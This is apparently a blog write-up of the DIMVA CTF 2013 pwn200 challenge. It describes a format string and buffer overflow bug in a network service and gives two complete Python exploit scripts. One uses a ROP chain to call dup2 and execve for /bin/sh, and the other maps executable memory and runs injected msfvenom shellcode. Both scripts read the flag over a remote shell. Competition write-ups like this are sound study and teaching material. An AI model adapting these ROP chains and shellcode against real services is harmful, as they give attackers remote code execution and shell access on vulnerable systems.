Monday, July 22, 2013

DIMVA CTF 2013 - pwn 200 - [Team xbios]

We were given a 32 bit Linux ELF executable with NX enabled. The executable is very much similar to pwn100. As pwn100, we can overwrite function pointer in signal handler and there is a format string bug, which in turn can trigger a buffer overflow in main() and send_back() functions.
main  {
    read(client_sockfd, buffer, 0x800);
    strncpy(tech_id, buffer, 0x100); 
    sprintf(&v10, tech_id);  // format string bug
    sprintf(&v5, "\n> Thank you %s\n> Now please send your code using your RETL Flux Capacitor device.\n", &v10); 
    send_back(&v5);
}

send_back(const char *src)  {
    char buf[2048]; 
    memset(&buf, 0, 0x800);
    strncpy(&buf, src, strlen(src) - 1); // length parameter computed from user input
    return send(client_sockfd, &buf, strlen(&buf) - 1, 0);
}
Below input can overwrite saved EIP in send_back()
%2000d + "A" * 200
But I didn't exploit this vulnerability. We still went for same function pointer overwrite in signal handler, but this time with ROP. Here is the idea of exploit

[*] CALL EAX instruction points to gadget to shift ESP into user data past the header
[*] Call dup2(4, stdin) and dup2(4, stdout)
[*] Now call execve() to execute /bin/sh. Calling system() inside siganl didn't work, giving BAD ADDRESS error. Looks like an issue with signal safety
[*] Offsets of libc functions are computed using the copy of libc obtained from pwn100 shell

Below is the exploit:
#!/usr/bin/env python

import socket
from hashlib import sha256
import struct
import time

#ip = "127.0.0.1"
ip = "dimvactf.0x90.eu"
#port = 7778
port = 1120

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
print soc.recv(1024)

libc_start_main = 0x193e0
dup2 = 0xdedd0
execve = 0xb82e0

format = "ProtoSecure1.0 " + struct.pack("B", 0x80) # 16 bytes
hash = sha256(struct.pack("<I", 0x0806b264) * 32).digest()
string_for_hash = struct.pack("<I", 0x0806b264) * 32  # ret as NOP
payload  = struct.pack("<I", 0x0806b264) * 275   # ret

# dup2 stdin
payload += struct.pack("<I", 0x08048a80)   # pop ebx ; ret
payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008))   # GOT address of __libc_start_main
payload += struct.pack("<I", 0x08048ec3)   # pop ebp ; ret
payload += struct.pack("<I", dup2 - libc_start_main)   # Offset to dup2
payload += struct.pack("<I", 0x0804cf55)   # xchg eax, ebp ; ret
payload += struct.pack("<I", 0x0805801e)   # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret
payload += "MOVE"
payload += "JUNK"
payload += struct.pack("<I", 0x0806d460)   # .bss
payload += struct.pack("<I", 0x0804b1d2)   # call eax
payload += struct.pack("<I", 0x4)          # socket
payload += struct.pack("<I", 0x0)          # stdin
payload += "A" * 52

# dup2 stdout
payload += struct.pack("<I", 0x08048a80)   # pop ebx ; ret
payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008))   # GOT address of __libc_start_main
payload += struct.pack("<I", 0x08048ec3)   # pop ebp ; ret
payload += struct.pack("<I", dup2 - libc_start_main)   # Offset to dup2_remote
payload += struct.pack("<I", 0x0804cf55)   # xchg eax, ebp ; ret
payload += struct.pack("<I", 0x0805801e)   # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret
payload += "MOVE"
payload += "JUNK"
payload += struct.pack("<I", 0x0806d460)   # .bss
payload += struct.pack("<I", 0x0804b1d2)   # call eax
payload += struct.pack("<I", 0x4)          # socket
payload += struct.pack("<I", 0x1)          # stdout
payload += "A" * 52

# execve
payload += struct.pack("<I", 0x08048a80)   # pop ebx ; ret
payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008))   # GOT address of __libc_start_main
payload += struct.pack("<I", 0x08048ec3)   # pop ebp ; ret
payload += struct.pack("<I", execve - libc_start_main)   # Offset to execve_remote
payload += struct.pack("<I", 0x0804cf55)   # xchg eax, ebp ; ret
payload += struct.pack("<I", 0x0805801e)   # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret
payload += "MOVE"
payload += "JUNK"
payload += struct.pack("<I", 0x0806d460)   # .bss
payload += struct.pack("<I", 0x08048eef)   # call eax
payload += struct.pack("<I", 0x0806ed40+1528)   # parameters for execve
payload += struct.pack("<I", 0x0)
payload += struct.pack("<I", 0x0)
payload += "/bin"
payload += "//sh"
payload += struct.pack("<I", 0x0)

# stack pivot for call eax
payload += struct.pack("<I", 0x080565ee)    # add esp, 0x5C

code = (format + hash + string_for_hash + payload)
soc.send(code + "\n")
time.sleep(1)
print soc.recv(2048)

soc.send(code + "\n")
time.sleep(1)
print soc.recv(1024)

soc.send("/bin/cat flag\n")
time.sleep(1)
print soc.recv(1024)
Flag for the challenge is c0ffee700ab3f9a35614f29d1cb65186

Meanwhile I wrote another exploit, as I faced some issues with first exploit. Eventually got both working. Here is the exploit

[*] mmap() a new memory area with RWX permission
[*] call read() and copy payload into buffer
[*] Jump to this buffer
#!/usr/bin/env python

import socket
from hashlib import sha256
import struct
import time

#ip = "127.0.0.1"
ip = "dimvactf.0x90.eu"
#port = 7778
port = 1120

libc_start_main = 0x193e0
mmap = 0xeb0e0
read = 0xde440 

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
print soc.recv(1024)


format = "ProtoSecure1.0 " + struct.pack("B", 0x80) # 16 bytes
hash = sha256(struct.pack("<I", 0x0806b264) * 32).digest()
string_for_hash = struct.pack("<I", 0x0806b264) * 32  # ret as NOP

payload  = struct.pack("<I", 0x0806b264) * 290   # ret as NOP

# mmap
payload += struct.pack("<I", 0x08048a80)   # pop ebx ; ret
payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008))   # GOT address of __libc_start_main
payload += struct.pack("<I", 0x08048ec3)   # pop ebp ; ret
payload += struct.pack("<I", mmap - libc_start_main)   # Offset to mmap
payload += struct.pack("<I", 0x0804cf55)   # xchg eax, ebp ; ret
payload += struct.pack("<I", 0x0805801e)   # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret
payload += "MOVE"
payload += "JUNK"
payload += struct.pack("<I", 0x0806d460)   # .bss
payload += struct.pack("<I", 0x0804b1d2)   # call eax
payload += struct.pack("<I", 0xbadc000)    # addr for mmap
payload += struct.pack("<I", 1024)         # size
payload += struct.pack("<I", 7)            # permission
payload += struct.pack("<I", 34)   
payload += struct.pack("<I", 0x0)
payload += struct.pack("<I", 0x0)
payload += "A" * 36

# read
payload += struct.pack("<I", 0x08048a80)   # pop ebx ; ret
payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008))   # GOT address of __libc_start_main
payload += struct.pack("<I", 0x08048ec3)   # pop ebp ; ret
payload += struct.pack("<I", read - libc_start_main)   # Offset to read
payload += struct.pack("<I", 0x0804cf55)   # xchg eax, ebp ; ret
payload += struct.pack("<I", 0x0805801e)   # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret
payload += "MOVE"
payload += "JUNK"
payload += struct.pack("<I", 0x0806d460)   # .bss
payload += struct.pack("<I", 0x0804b1d2)   # call eax
payload += struct.pack("<I", 0x4)          # socket
payload += struct.pack("<I", 0xbadc000)    # buffer
payload += struct.pack("<I", 1024)         # size
payload += "A" * 48
payload += struct.pack("<I", 0xbadc000)    # return address

# call eax, stack pivot 
payload += struct.pack("<I", 0x080565ee)   # add esp, 0x5C ; ret

code = (format + hash + string_for_hash + payload)
soc.send(code + "\n")
time.sleep(1)
print soc.recv(2048)

soc.send(code + "\n")
time.sleep(1)
print soc.recv(1024)

dup2 = ( "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04" +
         "\xcd\x80\x75\xf6" )                 # 18 bytes

# msfvenom /bin/sh
shell = ( "\xdb\xc1\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x0b\xb8\x79\x0f" +   # 70 bytes
          "\x74\x5a\x83\xc3\x04\x31\x43\x16\x03\x43\x16\xe2\x8c\x65" +
          "\x7f\x02\xf7\x28\x19\xda\x2a\xae\x6c\xfd\x5c\x1f\x1c\x6a" +
          "\x9c\x37\xcd\x08\xf5\xa9\x98\x2e\x57\xde\x93\xb0\x57\x1e" +
          "\x8b\xd2\x3e\x70\xfc\x61\xa8\x8c\x55\xd5\xa1\x6c\x94\x59" )

soc.send(dup2 + shell + "\n")
soc.send("/bin/cat flag\n")
time.sleep(1)
print soc.recv(1024)

No comments :

Post a Comment